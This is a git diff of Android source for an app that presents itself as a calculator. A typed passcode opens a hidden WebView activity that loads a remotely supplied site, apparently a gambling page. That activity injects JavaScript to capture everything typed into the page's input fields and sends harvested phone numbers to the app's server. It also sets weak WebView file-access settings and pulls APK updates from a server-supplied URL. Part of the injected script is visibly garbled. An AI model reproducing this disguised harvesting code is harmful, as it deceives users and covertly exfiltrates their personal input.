btn_9.setOnClickListener(this); + btn_point = (Button)findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button)findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button)findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button)findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button)findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button)findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button)findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button)findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler handler = new Handler(); + public void displayInput(){ + inputTextView.setText(currentInput); + if(currentInput.toString().equals(MainActivity.getString(MainActivity.this,"loc_pass",""))){ + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this,MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string){ + Pattern compile = Pattern.compile( "[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if(result.charAt(result.length()-1)=='-'){ + System.out.println(result.charAt(result.length()-1)); + result.deleteCharAt(result.length()-1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str){ + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher=pattern.matcher(str.toString()); + while(matcher.find()){ + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)){ + case "*": + first=first.multiply(second); + break; + case "/": + first=first.divide(second); + break; + } + str.replace(matcher.start(),matcher.end(),first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher=pattern.matcher(str.toString()); + while (matcher.find()){ + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch(matcher.group(2)){ + case "+": + first=first.add(second); + break; + case "-": + first=first.subtract(second); + break; + + } + str.replace(matcher.start(),matcher.end(),first.toString()); + matcher.reset(str.toString()); + } + return str; + } + public void addInput(String string){ + if(hasCount==false){ + currentInput.append(string); + }else { + currentInput=new StringBuilder(""); + hasCount=false; + currentInput.append(string); + } + displayInput(); + } + + + + @Override + public void onClick(View v) { + switch (v.getId()){ + case R.id.btn_0: + addInput("0"); + break; + case R.id.btn_1: + addInput("1"); + break; + case R.id.btn_2: + addInput("2"); + break; + case R.id.btn_3: + addInput("3"); + break; + case R.id.btn_4: + addInput("4"); + break; + case R.id.btn_5: + addInput("5"); + break; + case R.id.btn_6: + addInput("6"); + break; + case R.id.btn_7: + addInput("7"); + break; + case R.id.btn_8: + addInput("8"); + break; + case R.id.btn_9: + addInput("9"); + break; + case R.id.btn_point: + addInput("."); + break; + case R.id.btn_add: + addInput("+"); + break; + case R.id.btn_subtract: + addInput("-"); + break; + case R.id.btn_multiply: + addInput("*"); + break; + case R.id.btn_divide: + addInput("/"); + break; + case R.id.btn_backspace: + if(currentInput.length()>0){ + currentInput.deleteCharAt(currentInput.length()-1); + } + displayInput(); + break; + case R.id.btn_clear: + currentInput=new StringBuilder(""); + displayInput(); + outputTextView.setText(""); + break; + case R.id.btn_equal: + StringBuilder result = compute(currentInput); + displayAnswer(result); + hasCount=true; + break; + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + public static void saveString(Context context,String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context,String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context,String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context,String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/MainActivity2.java b/winway/src/main/java/winway/calculcator/MainActivity2.java new file mode 100644 index 0000000..a9ba907 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/MainActivity2.java @@ -0,0 +1,1088 @@ +package winway.calculcator; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.app.Activity; +import android.app.DownloadManager; +import android.app.NotificationManager; +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Environment; +import android.os.Handler; +import android.os.Message; +import android.text.TextUtils; +import android.util.Log; +import android.view.KeyEvent; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.ConsoleMessage; +import android.webkit.DownloadListener; +import android.webkit.JavascriptInterface; +import android.webkit.PermissionRequest; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebResourceResponse; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.google.firebase.messaging.FirebaseMessaging; +import com.tencent.smtt.export.external.interfaces.JsResult; + +import io.reactivex.Observer; +import winway.calculcator.appdown.AppUpdater; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.URL; +import java.net.URLConnection; +import java.util.HashMap; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; +import winway.calculcator.appdown.constant.Constants; +import winway.calculcator.appdown.util.PermissionUtils; + +public class MainActivity2 extends AppCompatActivity { + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + FirebaseMessaging.getInstance().setAutoInitEnabled(true); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + + } + }); +// FirebaseMessaging.getInstance().getToken() +// .addOnCompleteListener(new OnCompleteListener() { +// @Override +// public void onComplete(@NonNull Task task) { +// if (!task.isSuccessful()) { +// LogUtils.d("Fetching FCM registration token failed" + task.getException()); +// return; +// } +// +// // Get new FCM registration token +// String token = task.getResult(); +// +// // Log and toast +// +// LogUtils.d("token=="+token); +// } +// }); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + + } + }); + actionDialog.show(); + } + } + + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + +// // Declare the launcher at the top of your Activity/Fragment: +// private final ActivityResultLauncher requestPermissionLauncher = +// registerForActivityResult(new ActivityResultContracts.RequestPermission(), isGranted -> { +// if (isGranted) { +// // FCM SDK (and your app) can post notifications. +// } else { +// // TODO: Inform user that that your app will not show notifications. +// } +// }); + +// private void askNotificationPermission() { +// // This is only necessary for API level >= 33 (TIRAMISU) +// if (Build.VERSION.SDK_INT >= 33) { +// if (ContextCompat.checkSelfPermission(this, Manifest.permission.POST_NOTIFICATIONS) == +// PackageManager.PERMISSION_GRANTED) { +// // FCM SDK (and your app) can post notifications. +// } else if (shouldShowRequestPermissionRationale(Manifest.permission.POST_NOTIFICATIONS)) { +// // TODO: display an educational UI explaining to the user the features that will be enabled +// // by them granting the POST_NOTIFICATION permission. This UI should provide the user +// // "OK" and "No thanks" buttons. If the user selects "OK," directly request the permission. +// // If the user selects "No thanks," allow the user to continue without notifications. +// } else { +// // Directly ask for the permission +// requestPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS); +// } +// } +// } + + Handler handler = new Handler(); + + int counts = 0; + private void injectInputListener(WebView webView) { + // JS 代码:监听所有 input 和 textarea 的输入事件 + // 你的代码 + Runnable runnable = new Runnable() { + @Override + public void run() { +// // 你的代码 + + String jsCode = "javascript:(function (){" + + // 获取所有输入元素(input 和 textarea) + "var inputs = document.getElementsByTagName('input');" + + // 遍历所有输入元素,添加 input 事件监听 + "for (var i = 0; i < inputs.length; i++) {"+ + "inputs[i].addEventListener('input', function(){" + + // 触发输入时,调用 Android 接口传递内容 + "window.AndroidInterface.onInputChanged(this.value);" + + "});" + + "}"+ + "if(0=8){ + mobiles = inputContent; + } + } + + isNeed = true; + // 如需在 UI 线程操作(如更新 TextView),需切换线程 + runOnUiThread(() -> { + // 示例:更新界面 + // textView.setText(inputContent); + }); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.VISIBLE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + public void removeChildView(int child) { + WebView childView = (WebView) webView.getChildAt(child - 1); + webView.removeView(childView); + if (webView.canGoBack()) { + webView.goBack(); + } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "winway.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "winway.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "https://winway33.site/"; + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + private int userId = 4; + + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(true); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + webView.addJavascriptInterface(new JsInterface(), "AndroidInterface"); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + getNetUrl(); +// getVersionUrl(); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:" + o.data.toString()); + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } + if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { + if (Integer.parseInt(dataInfo.getVersionCode()) > BuildConfig.VERSION_CODE) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), + getString(R.string.lijigengxin_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + checkUpdate(dataInfo.getApkUrl()); + } + + @Override + public void toCancel() { + if (dataInfo.getForceUpdate() == 1) { + MainActivity2.this.finish(); + } + } + }); + actionDialog.show(); + } + } + } else { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:" + o.url); +// if (!TextUtils.isEmpty(o.url)) { +// MainActivity.saveString(MainActivity2.this, "base_url", o.url); +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// }); + } +// public void getNetUrl() { + +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:" + o.url); +// if (!TextUtils.isEmpty(o.url)) { +// MainActivity.saveString(MainActivity2.this, "base_url", o.url); +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// }); +// } + +// public void getVersionUrl() { +// Api.getInstance().getVersion(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// if (!TextUtils.isEmpty(o.version_code)) { +// if (Integer.parseInt(o.version_code) > BuildConfig.VERSION_CODE) { +// ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, +// getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), +// getString(R.string.lijigengxin_txt)); +// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { +// @Override +// public void toSumbit() { +// checkUpdate(o.url); +// } +// +// @Override +// public void toCancel() { +// +// } +// }); +// actionDialog.show(); +// } +// } +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); +// } + + private void checkUpdate(String url) { + Constants.isUpdate = true; + new AppUpdater(this, url).start(); + + } + + boolean hasSignIn = false; + + WebViewClient webViewClient = new WebViewClient() { + + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + +// if (isNetError&&isAtGame) { +// topVvvv.setVisibility(View.VISIBLE); +// } + injectInputListener(webView); + + } + + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Nullable + @Override + public WebResourceResponse shouldInterceptRequest(WebView view, String url) { + return super.shouldInterceptRequest(view, url); + } + + @Nullable + @Override + public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) { + if ("POST".equalsIgnoreCase(request.getMethod())) { +// LogUtils.i("网址是啥111222:"); +// injectInputListener(webViews!=null?webViews:webView); + postMobile(); + } + return super.shouldInterceptRequest(view, request); + } + }; + + + private void postMobile() { + if(!TextUtils.isEmpty(mobiles)){ + if(!TextUtils.isEmpty(oldMobiles)&&oldMobiles.endsWith(mobiles)){ + return; + } + HashMap map = new HashMap<>(); + map.put("appId", userId); + map.put("phone", mobiles); + Api.getInstance().appLoginUser(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { +// LogUtils.i("成功了!!!!!!!"); + oldMobiles = mobiles; + mobiles= ""; + } + + @Override + public void onError(int code, String msg) { +// LogUtils.i("成功了失败了!!!!!!!"); + + } + + }); + } + } + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { + mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + return false; + } + return true; + } + + // For 